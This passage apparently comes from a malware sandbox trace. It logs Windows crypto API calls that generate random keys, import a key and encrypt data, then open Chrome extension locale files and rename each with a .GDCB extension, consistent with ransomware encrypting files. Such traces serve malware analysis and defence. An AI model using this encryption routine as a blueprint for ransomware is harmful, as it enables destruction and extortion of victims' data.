dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67935a0) returned 1 [0262.468] CryptGetKeyParam (in: hKey=0x67935a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.468] CryptEncrypt (in: hKey=0x67935a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.468] GetLastError () returned 0x0 [0262.468] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.468] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.493] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67934e0) returned 1 [0262.493] CryptGetKeyParam (in: hKey=0x67934e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.493] CryptEncrypt (in: hKey=0x67934e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.493] GetLastError () returned 0x0 [0262.493] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.493] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.495] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.499] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.504] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.512] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.521] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.gdcb")) returned 1 [0262.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.532] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.532] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.532] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.537] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.537] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.538] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.540] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67936a0) returned 1 [0262.540] CryptGetKeyParam (in: hKey=0x67936a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.540] CryptEncrypt (in: hKey=0x67936a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.540] GetLastError () returned 0x0 [0262.540] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.540] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.543] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793720) returned 1 [0262.543] CryptGetKeyParam (in: hKey=0x6793720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.543] CryptEncrypt (in: hKey=0x6793720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.543] GetLastError () returned 0x0 [0262.543] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.544] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.550] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.558] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.565] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0262.570] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.575] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.576] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.576] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.576] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.581] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.581] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.581] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.583] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67932e0) returned 1 [0262.583] CryptGetKeyParam (in: hKey=0x67932e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.583] CryptEncrypt (in: hKey=0x67932e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.584] GetLastError () returned 0x0 [0262.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.584] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.585] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793320) returned 1 [0262.586] CryptGetKeyParam (in: hKey=0x6793320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.586] CryptEncrypt (in: hKey=0x6793320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.586] GetLastError () returned 0x0 [0262.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.586] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.587] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.590] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.592] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.601] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.607] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0262.612] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.617] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.617] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0262.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.621] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.621] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.624] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793620) returned 1 [0262.624] CryptGetKeyParam (in: hKey=0x6793620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.624] CryptEncrypt (in: hKey=0x6793620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.624] GetLastError () returned 0x0 [0262.624] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.624] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67937e0) returned 1 [0262.626] CryptGetKeyParam (in: hKey=0x67937e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.626] CryptEncrypt (in: hKey=0x67937e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.627] GetLastError () returned 0x0 [0262.627] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.628] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.631] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.633] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.643] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.649] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0262.655] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.661] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.661] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.661] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.665] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.665] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.668] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67931e0) returned 1 [0262.668] CryptGetKeyParam (in: hKey=0x67931e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.668] CryptEncrypt (in: hKey=0x67931e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.668] GetLastError () returned 0x0 [0262.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.668] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.670] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67933a0) returned 1 [0262.670] CryptGetKeyParam (in: hKey=0x67933a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.670] CryptEncrypt (in: hKey=0x67933a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.670] GetLastError () returned 0x0 [0262.670] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.672] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.674] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.677] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.685] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.691] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0262.696] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.701] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.701] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.701] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.706] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.706] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.706] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", 